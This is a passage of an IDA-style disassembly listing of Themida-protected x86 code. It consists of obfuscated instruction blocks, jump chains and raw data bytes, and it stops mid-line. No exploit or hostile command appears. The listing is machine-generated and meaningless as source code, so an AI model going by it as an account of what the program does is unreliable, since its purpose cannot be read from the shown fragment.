dup(0FFh) ; --------------------------------------------------------------------------- loc_56FBF3: ; CODE XREF: Themida_:0056DF59j and eax, ebp pop ebp or eax, eax jnz loc_56B8CD sub esp, 4 mov [esp], esi push eax jmp loc_56ADF2 ; --------------------------------------------------------------------------- dw 0F181h dd 12C154ABh, 47B1F181h, 0E1C12927h, 0E9E94104h, 0E9FFFF87h dd 0FFFED6C9h, 0F781DFF7h, 2D2C6786h, 44BAC781h, 0CF8122AAh dd 7E4E748Ch, 0B819C781h, 0DFF75ACBh, 2367E9h, 24148B00h dd 5504C483h, 0CAE95D54h, 0FEFFFF1Fh, 0D4E980C9h, 0C0A6B050h dd 9FE905E0h, 8BFFFF00h, 34E92414h db 0DCh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56FC6B: ; CODE XREF: Themida_:0056D796j dec ebp push eax mov eax, 5207182Ah add ebp, eax jmp loc_56C296 ; --------------------------------------------------------------------------- loc_56FC79: ; CODE XREF: Themida_:0055F4FEj neg ebp push ebx mov ebx, 6E0D4FA2h sub ebp, 2D253ED1h add ebp, ebx add ebp, 2D253ED1h pop ebx sub edi, ebp jmp loc_565CC5 ; --------------------------------------------------------------------------- db 1 dd 34335AD6h, 24343124h, 0FFF258E9h, 0A8BA52FFh, 89612047h dd 0ED815AD5h, 612047A4h, 45D9BD55h, 0C5816474h, 0AF2502DDh dd 15DEB01h, 0B6EB81EBh, 0E9139948h, 235Ah ; --------------------------------------------------------------------------- loc_56FCD0: ; CODE XREF: Themida_:0056682Cj add ebx, edx sub ebx, 3CA826DAh pop edx sub ebx, 36E233Eh add ebx, edi push eax mov eax, 34261AF8h and eax, 40B31F93h and eax, 38C54096h sub eax, 0FC91DD52h add ebx, eax pop eax push 30E7h mov [esp], edx push edi jmp loc_56013E ; --------------------------------------------------------------------------- loc_56FD07: ; CODE XREF: Themida_:00561CCBj mov [esp], esi jmp loc_56867F ; --------------------------------------------------------------------------- db 55h dd 446A67BDh, 23A5E91Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56FD1A: ; CODE XREF: Themida_:0056A82Fj or ebp, 32EE01DCh neg ebp jmp loc_561BBE ; --------------------------------------------------------------------------- loc_56FD27: ; CODE XREF: Themida_:0055FC65j mov ebp, [esp] add esp, 4 add eax, edx sub eax, 19DF6AFAh jmp loc_56C702 ; --------------------------------------------------------------------------- dd 0CC69FBBDh, 28C58133h, 0E9117349h, 0FFFFD1ACh ; --------------------------------------------------------------------------- loc_56FD4C: ; CODE XREF: Themida_:0056B20Ej push esi mov esi, esp jmp loc_568DD2 ; --------------------------------------------------------------------------- dd 0F7F7E952h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56FD5A: ; CODE XREF: Themida_:00570C66j add edx, 5224EABh mov ecx, edx pop edx sub ecx, 0C295DD5h jmp loc_55DEA9 ; --------------------------------------------------------------------------- loc_56FD6E: ; CODE XREF: Themida_:0056BA51j sub edi, ebp jmp loc_567048 ; --------------------------------------------------------------------------- loc_56FD75: ; CODE XREF: Themida_:0056AC78j add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_568C50 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 66000000h, 5300B60Fh, 0BA52E389h, 4, 525AD301h dd 4BAh, 5AD32900h, 2474FF53h, 48F5B04h, 24248B24h, 54240489h dd 40558h, 79680000h, 8900002Dh, 8CE9240Ch, 5A000012h dd 0BCD1E951h, 0EC83FFFFh, 241C8904h, 0A7418BBh, 63B9510Ah dd 11B052Bh, 0D80159C8h, 52B632Dh, 241C8B1Bh, 2904C483h dd 6FBF57C8h, 0E9758A48h, 0FFFEFF09h ; --------------------------------------------------------------------------- loc_56FE00: ; CODE XREF: Themida_:00571951j xchg ecx, [esp] jmp loc_56C16E ; --------------------------------------------------------------------------- dd 4C781h, 0E9E90000h, 58FFFF97h, 29FFEB81h, 0C3814DBBh dd 54952320h, 0EB81D301h, 54952320h, 29FFC381h, 84E94DBBh dd 29FFFED7h, 67BF2DF8h, 34FF40AEh, 243C8B24h, 4C481h dd 2CE90000h, 81FFFF37h, 0FB9887F7h, 5FF80131h, 48BC201h dd 4C48324h, 0FF4939E9h db 0FFh ; --------------------------------------------------------------------------- loc_56FE61: ; CODE XREF: Themida_:0056C77Aj push ebp mov ebp, eax mov esi, ebp pop ebp jmp loc_563416 ; --------------------------------------------------------------------------- dd 24048B66h, 4D6768h, 24148900h, 0CE9E289h, 5CFFFF3Eh dd 0FFD4DBE9h, 48F54FFh, 24048124h, 4, 5D2434FFh, 81E68956h dd 4C6h, 61B95100h, 0E900F502h, 0FFFF880Fh ; --------------------------------------------------------------------------- loc_56FEA8: ; CODE XREF: Themida_:005670A1j sub esp, 4 mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_55E6A2 ; --------------------------------------------------------------------------- dd 8B5DEB01h, 0C4812404h, 4, 0D1E9008Fh, 89FFFF40h, 45E9241Ch dd 0BDFFFF87h, 113A3287h, 0FF2AC7E9h, 89565AFFh, 8B1AE9E6h dd 0F101FFFFh, 240C875Eh, 8124248Bh, 4C5h, 271C6800h, 0C890000h dd 0CBE95724h db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56FF0B: ; CODE XREF: Themida_:0056E58Fj sub esp, 4 mov [esp], ecx jmp loc_56FB21 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 36DE68h, 240C8900h, 0FBF3E952h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56FF2A: ; CODE XREF: Themida_:00571F82j xor eax, ebp xor ebp, eax xor eax, ebp sub esp, 4 jmp loc_571BD6 ; --------------------------------------------------------------------------- loc_56FF3B: ; CODE XREF: Themida_:0056D131j add edx, 61476D76h shr edx, 4 sub edx, 86ECFF5Dh xor edx, eax pop eax shr edx, 8 jmp loc_56BEE3 ; --------------------------------------------------------------------------- db 0BAh, 0E7h, 78h dd 0F0E9088Eh db 47h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56FF5F: ; CODE XREF: Themida_:0056D1A0j mov ecx, esp sub esp, 4 mov [esp], ebx mov ebx, 4 add ecx, ebx mov ebx, [esp] add esp, 4 push edx jmp loc_56B1E8 ; --------------------------------------------------------------------------- db 0BBh, 17h, 21h dd 0ADE91C65h, 89000010h, 4511E9E3h, 0EB81FFFFh, 100E4ED5h dd 0FF80EAE9h, 6E950FFh, 53FFFFBFh, 0A14DEABBh, 90EB812Ah dd 318D4C25h, 1F1DE9DEh, 0E959FFFFh, 1C8Bh, 247C015Bh dd 1C8B5F04h, 0B89FE924h, 48FFFFFh, 1129E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56FFCE: ; CODE XREF: Themida_:00571196j inc ebx jmp loc_56C163 ; --------------------------------------------------------------------------- dd 5AD62959h, 348BF031h, 4C48124h, 68000000h, 5F58h, 68243C89h dd 23C3h, 0BD242C89h, 16310EA1h, 6ABB68h, 242C8900h, 0FFDD51E9h db 0FFh ; --------------------------------------------------------------------------- loc_570005: ; CODE XREF: Themida_:0056DBB5j sub eax, 5A023494h add eax, ebp add eax, 5A023494h add eax, 90160FFh jmp loc_55E6CC ; --------------------------------------------------------------------------- db 83h dd 348704C6h, 0B2E95C24h, 0F7000024h, 81592414h, 6DBAC2F1h dd 52C681F2h, 1734C2Dh, 1E85E9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57003E: ; CODE XREF: Themida_:0056F1D2j push eax push ebx mov ebx, 6F284F20h push eax jmp loc_571AFE ; --------------------------------------------------------------------------- db 0F6h dd 76CB80D3h, 0C3FEDBF6h, 351068h, 240C8900h, 0E180D2B1h dd 86C1FE49h, 86D2F6D1h, 0EBF180D1h, 0E959CB30h, 0E02h ; --------------------------------------------------------------------------- loc_570074: ; CODE XREF: Themida_:0056A8C5j mov ecx, 46436108h push eax mov eax, esp jmp loc_564445 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 4BDh, 5521E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57008E: ; CODE XREF: Themida_:0055F666j push edx jmp loc_56F219 ; --------------------------------------------------------------------------- dd 0DE1EC781h, 0F93124EEh, 6851565Fh, 7FC302Dh, 0C3C18159h dd 8151483Bh, 37A216C1h, 8BCE89ECh, 0C481240Ch, 4, 0FEF2DBE9h dd 0C8B66FFh, 885BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5700CA: ; CODE XREF: Themida_:00562CDBj test cx, ax pushf jmp loc_566CC7 ; --------------------------------------------------------------------------- db 81h dd 3F487BC7h, 7DA2E916h, 0B951FFFFh, 33814D6Bh, 0FFD1E5E9h dd 2434FFFFh, 4C4835Bh, 0FEF4B1E9h, 0E9F488FFh, 0FFFF1038h ; --------------------------------------------------------------------------- loc_5700FC: ; CODE XREF: Themida_:00569141j push esi jmp loc_561CA0 ; --------------------------------------------------------------------------- dw 5F59h dd 0E92434FFh, 0FFFF9A8Eh, 135468h, 24348900h, 0B9515053h dd 7C9628Ch, 24048151h, 169A7147h, 0DD0E958h, 0EA83FFFFh dd 24148704h, 0E924248Bh, 0FFFF2453h, 3E7BF181h, 0F1814D93h dd 0E2E126B3h, 0E959CB01h, 0FFFF6A80h, 0AF168h, 24248900h dd 4240481h, 0E9000000h, 0FFFFB4BFh ; --------------------------------------------------------------------------- loc_570160: ; CODE XREF: Themida_:00561CB6j xor edx, esi pop esi push 620Bh mov [esp], edx jmp loc_563A16 ; --------------------------------------------------------------------------- loc_570170: ; CODE XREF: Themida_:00567C94j mov ebx, edi pop edi sub esi, 7E5B3A13h sub esi, 6CF0354h sub esi, 2A250227h sub esi, ebx add esi, 2A250227h add esi, 6CF0354h push edi push 34AD3DCEh pop edi not edi and edi, 2FF85D88h push ebp mov ebp, 57B47557h sub ebp, 58B75F77h and ebp, 14D32B58h dec ebp neg ebp add ebp, 668F4B37h add ebp, 214CB01Bh add edi, ebp jmp loc_56E81E ; --------------------------------------------------------------------------- loc_5701CA: ; CODE XREF: Themida_:00570502j pop eax jmp loc_56EA10 ; --------------------------------------------------------------------------- loc_5701D0: ; CODE XREF: Themida_:00560BE7j sub ebp, 4923666Ch mov edi, [esp] jmp loc_571A28 ; --------------------------------------------------------------------------- loc_5701DE: ; CODE XREF: Themida_:0055E79Cj xor esi, 58EB554Bh mov edx, esi jmp loc_5718CC ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24148900h, 0FF5EAAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5701F9: ; CODE XREF: Themida_:005718BDj and dh, 8Dh xor dh, 0B3h add dh, 1 xor dh, 57h add bh, dh pop edx xor bh, 0FDh add al, bh pop ebx push 251Dh mov [esp], ebx mov bl, 6Ch sub al, bl push dword ptr [esp] pop ebx add esp, 4 push bx push 443h mov [esp], ecx jmp loc_5705C6 ; --------------------------------------------------------------------------- loc_570233: ; CODE XREF: Themida_:0056CABCj inc esi or esi, 48962B9Ah shl esi, 6 sub esi, 0D519968Fh sub eax, esi jmp loc_561B42 ; --------------------------------------------------------------------------- dw 0EC83h dd 24248904h, 4240481h, 0E9000000h, 0FFFF3274h, 88B6EF80h dd 0CB005BF9h, 0D8005966h, 0E92434FFh, 0FFFF0753h ; --------------------------------------------------------------------------- loc_570270: ; CODE XREF: Themida_:0056B642j push 38A8h mov [esp], ecx xor dword ptr [esp], 47686B9Ch pop eax xor eax, 47686B9Ch jmp loc_56C1A0 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 31E95455h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570297: ; CODE XREF: Themida_:0055E1DEj pop esi xchg ecx, [esp] pop esp and eax, esi jmp loc_571DC9 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 30FF6604h, 0FED03CE9h, 386B8FFh, 0E9487E3Dh dd 0FFFF37CCh ; --------------------------------------------------------------------------- loc_5702BC: ; CODE XREF: Themida_:0056419Dj mov [esp], ecx push esi push 24EC2F89h jmp loc_560294 ; --------------------------------------------------------------------------- aLS_0 db '▀$$И](',0 align 2 dw 8966h dd 6866240Ch, 8966438Bh, 8B66242Ch, 0EC81240Ch, 4, 89240C89h dd 4C181E1h, 83000000h, 6BE902C1h, 5CFFFEEEh, 815D5455h dd 4C5h, 59E95000h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57030B: ; CODE XREF: Themida_:00561B88j add esp, 4 sub eax, 2D1470AFh pop esi xor eax, edi jmp loc_562873 ; --------------------------------------------------------------------------- loc_57031E: ; CODE XREF: Themida_:0055FFFAj add ebp, 61A252CAh add ebp, edi sub ebp, 61A252CAh jmp loc_56F3BE ; --------------------------------------------------------------------------- loc_570331: ; CODE XREF: Themida_:0056D2C9j pop ecx add ecx, ebp mov ebp, [esp] jmp loc_568F88 ; --------------------------------------------------------------------------- dd 0C381F301h, 493E27C6h, 7A5C381h, 34FF704Ah, 0B06E924h dd 0F757FFFFh, 535F2414h, 862EE7BBh, 5E3C169h, 4B06E3C1h dd 54CEEB81h, 0DF2997AFh, 0FFCC09E9h db 0FFh ; --------------------------------------------------------------------------- loc_570371: ; CODE XREF: Themida_:0056C61Aj mov [esp], edi push esp mov edi, [esp] jmp loc_570660 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 4C481h, 685E0000h, 6675h, 0B9240C89h, 3C91D4Dh, 34FFC831h dd 2434FF24h, 4C48159h, 56000000h, 0C681E689h, 4, 0FEEBADE9h dd 0F4BE56FFh, 89CBFEAEh, 24348BF0h, 0FF15C6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5703C1: ; CODE XREF: Themida_:005602DCj add ebp, 4 add ebp, 2 xor ebp, [esp] jmp loc_564B3E ; --------------------------------------------------------------------------- loc_5703D2: ; CODE XREF: Themida_:0056C6BCj add esp, 4 jmp loc_562342 ; --------------------------------------------------------------------------- dw 5066h dd 2EC81h, 89660000h, 6866241Ch, 8B6657BFh, 0C481241Ch dd 2, 0FF6E49E9h, 367BB9FFh, 0C82909EBh, 0FF88E4E9h, 0E9F828FFh dd 0FFFFEE9Eh, 4EC81h, 1C890000h, 0B2E95024h, 5DFFFF20h dd 2C1C581h, 0C5E932FCh, 5EFFFF39h, 0E904C483h, 0FFFED634h dd 83240C8Bh, 0FAE904C4h, 81FFFFDAh, 5B7D71F7h, 524E97Fh dd 5357FFFFh, 0AE3D26BBh, 0B988BF61h, 0DF29A49Ah, 0FFAC25E9h db 0FFh ; --------------------------------------------------------------------------- loc_570459: ; CODE XREF: Themida_:005724F2j dec edx add edx, 5A7239E6h add ebp, edx pop edx jmp loc_5727E2 ; --------------------------------------------------------------------------- loc_570468: ; CODE XREF: Themida_:00560CBFj mov edi, 445362B1h sub ebp, edi pop edi add ebp, eax add ebp, 445362B1h mov eax, [esp] add esp, 4 push esi mov esi, ebp jmp loc_568100 ; --------------------------------------------------------------------------- dw 0EDC1h dd 0FCEE908h, 55580000h, 42474FFh, 24048F5Dh, 0D8A1E95Ch dd 0FAB9FFFFh, 165394Bh, 24048BC1h, 4C481h, 5DE90000h dd 1FFFEDFh, 0EA6857C2h, 5F146E1Fh, 1C72BB53h, 0DA01097Eh dd 81FA295Bh, 7E1C72EAh, 0DA96E909h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5704D2: ; CODE XREF: Themida_:005693E7j pop esi push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi push esp pop edi add edi, 4 sub esp, 4 mov [esp], eax push 4 pop eax add edi, eax jmp loc_5701CA ; --------------------------------------------------------------------------- db 89h dd 0E954241Ch, 0FFFEEA0Eh, 4240481h, 0E9000000h, 0FFFFD0FEh dd 0E9E38953h, 0FFFF6DB0h, 4B9h, 244C0100h, 195CE904h dd 2D59FFFFh, 1A082E91h, 0BD55F801h, 1A082E91h, 3A060205h dd 0E9E8015Bh, 0FFFF33E9h, 2FBE5642h, 81697107h, 76AF7AEEh dd 5EF20102h, 0D667F281h, 0EFE967EFh db 0D9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_570567: ; CODE XREF: Themida_:005651C0j pop esp jmp loc_5636B8 ; --------------------------------------------------------------------------- db 1, 0D1h, 5Ah dd 0E981D101h, 3A115D8Bh, 4BF575Ah, 1000000h, 0EA1FE9F9h dd 0D3F7FFFEh, 8104EBC1h, 0D44157C3h, 0D0EB814Ch, 525B6B7Fh dd 6A1427BAh, 5AD10108h, 0E952D901h, 0FFFFA4ACh, 78E0C181h dd 0CA01FF5Fh, 81240C8Bh, 4C4h, 52575600h, 6E6FBABAh, 0F098E923h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5705C6: ; CODE XREF: Themida_:0057022Ej push eax mov ah, 80h push dx mov dh, ah not dh mov ah, dh pop dx jmp loc_570CF1 ; --------------------------------------------------------------------------- dd 1F2CF000h, 0C3305A66h, 0FF2949E9h, 2474FFFFh, 2434FF04h dd 8324048Bh, 52E904C4h, 1FFFFD7h, 5A5452EBh, 4C281h, 54E90000h dd 54FFFEFAh, 4B9515Ah, 1000000h, 0EA8359CAh, 24148704h dd 8924248Bh, 6851243Ch, 3CA9698Eh, 59CF8959h, 4247C29h dd 50243C8Bh, 82AEE954h, 0B2E9FFFFh db 0CCh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_57063B: ; CODE XREF: Themida_:005660C6j mov esp, [esp] mov [esp], ebx mov ebx, 0E790BBAh add ebx, 0F186F446h jmp loc_5622B2 ; --------------------------------------------------------------------------- loc_570651: ; CODE XREF: Themida_:0056EBB0j inc dl add dl, 1 xor dl, 42h sub al, dl jmp loc_56ABEA ; --------------------------------------------------------------------------- loc_570660: ; CODE XREF: Themida_:00570378j add esp, 4 push esi jmp loc_56B7C3 ; --------------------------------------------------------------------------- dd 81240C8Bh, 4C4h, 241C8700h, 0E924248Bh, 0FFFECC6Dh ; --------------------------------------------------------------------------- loc_570680: ; CODE XREF: Themida_:005618B1j add edx, ebp pop ebp xor eax, edx mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] add ecx, eax mov eax, [esp] jmp loc_56BD6B ; --------------------------------------------------------------------------- loc_5706AD: ; CODE XREF: Themida_:0056F51Cj pop ecx mov esi, [esp] jmp loc_56DF53 ; --------------------------------------------------------------------------- dw 18BAh dd 29246B64h, 0F74F5AD7h, 92C781D7h, 0E91592FBh, 0FFFF1B2Eh ; --------------------------------------------------------------------------- loc_5706CC: ; CODE XREF: Themida_:0056DA0Ej mov [esp], esi jmp loc_570F28 ; --------------------------------------------------------------------------- dd 578EE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5706DA: ; CODE XREF: Themida_:0056C76Ej push ebp jmp loc_56F32E ; --------------------------------------------------------------------------- dd 33240431h, 895C2404h, 93BF243Ch, 0E9488727h, 85Bh, 0E9241C33h dd 1373h, 8324348Bh, 0FD6804C4h, 89000062h, 4BD242Ch, 1000000h dd 2434FFE8h, 4C4815Dh, 68000000h, 1B84h, 0FF240489h, 8B042474h dd 0DA682404h, 8900000Bh, 0E789243Ch, 4C781h, 0C7830000h dd 243C8704h, 0D2CDE95Ch, 8357FFFFh, 8F5404ECh, 0B9512404h dd 4, 4244C01h, 81240C8Bh, 4C4h, 0BD555F00h, 4, 0FFC22DE9h dd 240C8BFFh, 8104C483h, 0EE373DF1h, 20F18119h, 89038D20h dd 240C8BCFh, 0E904C483h, 0FFFF275Ah, 871C8858h, 0E92434FFh dd 0FFFEF7CDh, 57CD0159h, 5878E9BFh, 69ED817Ah, 291E6408h dd 69C581FDh, 0E91E6408h, 0FFFF972Dh, 0BF243C89h, 2A19773Ah dd 5A16855h, 2C8B2652h, 4C48324h, 34FFEF21h, 82C4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5707D2: ; CODE XREF: Themida_:0055FE4Dj xor edx, ebx jmp loc_55F1BD ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 4EC8324h, 54240489h, 0FFD81EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5707E9: ; CODE XREF: Themida_:0056F532j shl ebp, 5 jmp loc_5617F2 ; --------------------------------------------------------------------------- db 30h, 0E2h, 66h dd 5AD08858h, 0FF0181E9h, 0B6C281FFh, 594F5201h, 761DBB53h dd 0CB813219h, 586F2506h, 29E3814Bh, 0F7304C7Dh, 8EB4E9D3h dd 5B54FFFFh, 489068h, 242C8900h, 0FFF478E9h, 0E6C15DFFh dd 8E6C106h, 0E907E6C1h, 0FFFF73EDh, 4EC83ACh, 0E9241C89h dd 0E46h, 405h, 4C08300h, 5C240487h, 3411EA81h, 8EE90248h dd 0E9FFFECAh, 0FFFECA89h, 0B8240489h, 4, 38E9C201h db 0F5h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_570873: ; CODE XREF: Themida_:00560A74j add esp, 4 push 6E37h mov [esp], ebx sub esp, 4 mov [esp], eax push 5670h mov [esp], edx mov edx, 6BB41B56h jmp loc_570C79 ; --------------------------------------------------------------------------- dd 1419E95Ah, 0BA52FFFFh, 1, 575AD529h, 0FB2B20BFh, 5FFD014Dh dd 4F30CD81h, 0F75566E9h, 34FF2414h, 0C4835D24h, 0BB18E904h dd 454DFFFFh, 7083CD81h, 5C683091h, 8900000Bh, 0EC81240Ch dd 4, 0BE243489h, 3E377F93h, 348BF189h, 4C48324h, 0FFE23DE9h dd 5DEB09FFh, 0B8FEB81h, 0CE91378h, 8100000Fh, 6898242Ch dd 5587C87h, 7C876898h, 0E924148Bh, 0FFFF47C0h ; --------------------------------------------------------------------------- loc_570918: ; CODE XREF: Themida_:0055FAA5j mov edx, ebx pop ebx jmp loc_568D51 ; --------------------------------------------------------------------------- dd 0E904C483h, 0FFFEC9C5h, 7061ED81h, 0DD01482Ah, 7061C581h dd 84E9482Ah, 87FFFF6Fh, 835C241Ch, 0BA5204C4h, 4, 0FF1CAAE9h dd 4C483FFh, 58768h, 24148900h, 401068h, 241C8900h, 24048150h dd 305B2AF0h, 10D1E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_57096E: ; CODE XREF: Themida_:00561FB0j and esi, 3BA50E0Ch shr esi, 7 shr esi, 5 push ebx mov ebx, 1AA14h xor esi, ebx pop ebx add ebx, esi pop esi push edx push ebx mov ebx, 7626596Fh jmp loc_56D934 ; --------------------------------------------------------------------------- dw 3489h dd 2474FF24h, 24348B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55FE74 ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 88h dd 81FFFFA3h, 1E1111EFh, 5FF889EFh, 0D0F7D8F7h, 0FF1290E9h dd 154268FFh, 72E90000h, 0C1FFFFD1h, 0BD5507E3h, 8221C826h dd 0ECE9EB01h, 89FFFF8Dh, 0E952240Ch, 0FFFF7BFDh, 6EE9DA89h dd 56FFFF8Eh, 254DC6BEh, 0E9F52926h, 0FFFED88Ch ; --------------------------------------------------------------------------- loc_570A00: ; CODE XREF: Themida_:0056C0DFj sub esp, 4 mov [esp], edi jmp loc_56832B ; --------------------------------------------------------------------------- db 0B6h dd 2B759h, 0C7805AF7h, 8BF828B9h, 0C481241Ch, 4, 0FEDA01E9h db 0FFh ; --------------------------------------------------------------------------- loc_570A25: ; CODE XREF: Themida_:0056F234j xor esi, edi jmp loc_571ED5 ; --------------------------------------------------------------------------- dd 1877C88h, 53241C8Bh, 0E952E389h, 0FFFF0594h, 0BF243C89h dd 0DA4AC9DEh, 15FFD01h, 242C8BEEh, 4C481h, 34330000h dd 24343124h, 8B243433h, 0CD32424h, 86E99C24h, 0BFFFFEC8h dd 95B014Ch, 1B8C781h, 0EF813240h, 781D65C2h, 72BFEF81h dd 0C7813ECEh, 0ADEAE33Fh, 3BEC781h, 2DE93993h, 50FFFEFCh dd 31022EB8h, 58C20108h, 0FF403AE9h db 0FFh ; --------------------------------------------------------------------------- loc_570A9D: ; CODE XREF: Themida_:00568593j sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_569ADE ; --------------------------------------------------------------------------- loc_570AA9: ; CODE XREF: Themida_:0056EC27j push 1B49h jmp loc_55DB6E ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0FFC38100h, 43FFFFFFh, 0FEF476E9h db 0FFh ; --------------------------------------------------------------------------- loc_570AC5: ; CODE XREF: Themida_:0056E6D8j sub eax, 2D4C68AEh jmp loc_568B5A ; --------------------------------------------------------------------------- db 83h dd 0EC8304C4h, 242C8904h, 38D6B850h, 8953417Eh, 4C381E3h dd 81000000h, 4EBh, 0FB41E900h, 34FFFFFEh, 24048B24h, 5004C483h dd 405E089h, 0E9000000h, 0FFFFE4B7h, 0EE5F0168h, 0E94A5A08h dd 0FFFEFB64h, 4245C01h, 117CE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_570B1E: ; CODE XREF: Themida_:0056A5A4j mov [esp], edi mov edi, 4 add edx, 4528760Dh add edx, edi jmp loc_56DEAB ; --------------------------------------------------------------------------- loc_570B33: ; CODE XREF: Themida_:0055EAE3j add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_563B11 ; --------------------------------------------------------------------------- loc_570B4A: ; CODE XREF: Themida_:0056D483j mov edx, 7ABB73AAh and edx, 0C036648h inc edx neg edx dec edx sub edx, 0F7FC9DF2h jmp loc_55DE42 ; --------------------------------------------------------------------------- loc_570B64: ; CODE XREF: Themida_:0055F475j sub edi, 2 xchg edi, [esp] mov esp, [esp] jmp loc_56A3A8 ; --------------------------------------------------------------------------- dw 76E9h dd 89FFFEC7h, 93E9241Ch, 59FFFFB8h, 0FFBCB5E9h, 59EE00FFh dd 0F689B353h, 6EBC0D3h, 0EB80CBFEh, 6DC380E5h, 5BD828h dd 1AD2E9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_570BA2: ; CODE XREF: Themida_:00560DE0j mov ebx, [esp] add esp, 4 sub edx, 3E5C34FBh add edx, esi jmp loc_571A4F ; --------------------------------------------------------------------------- db 59h, 81h, 0C7h dd 4, 5C243C87h, 8B24048Fh, 0C892424h, 1A3E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_570BCE: ; CODE XREF: Themida_:0055DF74j push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax jmp loc_566DA5 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 242C8155h, 11527A71h, 71C2815Ah, 8B11527Ah, 0E5E9242Ch dd 0B5FFFF31h, 0E9E828A6h, 0FFFEFF89h, 9C241CF6h, 8EE9h db 0 ; --------------------------------------------------------------------------- loc_570C11: ; CODE XREF: Themida_:0056C7C4j mov ebx, 24h add ebx, edi jmp loc_55E106 ; --------------------------------------------------------------------------- db 80h, 0C2h, 49h dd 8071C280h, 4AE9AEEAh db 0CEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_570C2B: ; CODE XREF: Themida_:0056BEA0j pop ecx add bl, dl mov edx, [esp] add esp, 4 jmp loc_568B2E ; --------------------------------------------------------------------------- loc_570C39: ; CODE XREF: Themida_:0055D924j sub edx, 5186D67h and edx, 79D948B8h add edx, 57664B5Fh add edx, 0D12FEEB6h jmp loc_562115 ; --------------------------------------------------------------------------- loc_570C56: ; CODE XREF: Themida_:0056E99Cj push edx mov edx, 4A5B0BF2h dec edx sub edx, 731A45C5h shr edx, 4 jmp loc_56FD5A ; --------------------------------------------------------------------------- loc_570C6B: ; CODE XREF: Themida_:0055E3FEj mov esi, [esp] add esp, 4 jmp loc_572331 ; --------------------------------------------------------------------------- loc_570C79: ; CODE XREF: Themida_:00570897j and edx, 42C53B12h sub edx, 4B8C4454h sub edx, 2D8F32F2h shr edx, 2 and edx, 6BC73736h xor edx, 39FF5FE0h jmp loc_56B9F6 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFEC649h, 0E901C683h, 0FFFF3703h ; --------------------------------------------------------------------------- loc_570CAC: ; CODE XREF: Themida_:0055EB88j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp jmp loc_562E91 ; --------------------------------------------------------------------------- db 0FEh dd 6EBC0CBh, 8028EB80h, 0C580D3F3h, 67CCE9B2h, 489FFFFh dd 0B3535224h, 0E9DE8853h, 0B4Ch ; --------------------------------------------------------------------------- loc_570CDC: ; CODE XREF: Themida_:00572351j xchg ebp, [esp] jmp loc_5652E4 ; --------------------------------------------------------------------------- dd 0BB53D2F7h, 6CCF669Fh, 0F85E9h db 0 ; --------------------------------------------------------------------------- loc_570CF1: ; CODE XREF: Themida_:005705D3j inc ah not ah add ah, 7 not ah sub esp, 2 mov [esp], cx jmp loc_566AEA ; --------------------------------------------------------------------------- dw 8EB8h dd 2D0BF554h, 77CB42F7h, 0FF8A2EE9h, 241C89FFh, 0A4E9E389h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_570D1F: ; CODE XREF: Themida_:0056EC89j shr ebp, 1 or ebp, 20A777ACh jmp loc_561861 ; --------------------------------------------------------------------------- dd 23C5055Fh, 0E8293A48h, 4823C52Dh, 242C8B3Ah, 4C481h dd 89530000h, 4C381E3h, 57000000h, 169FBE56h, 0F6817413h dd 0EFA190Dh, 71C68146h, 898516F0h, 53FE9F7h, 0E981FFFFh dd 10045C7Dh, 0FFE99CE9h, 0C577E9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_570D76: ; CODE XREF: Themida_:0056F77Aj xor dword ptr [ebx], 109459E2h pop ebx push 0EA6h mov [esp], ebp push ebx mov ebx, 0AF16471h jmp loc_568CF4 ; --------------------------------------------------------------------------- loc_570D90: ; CODE 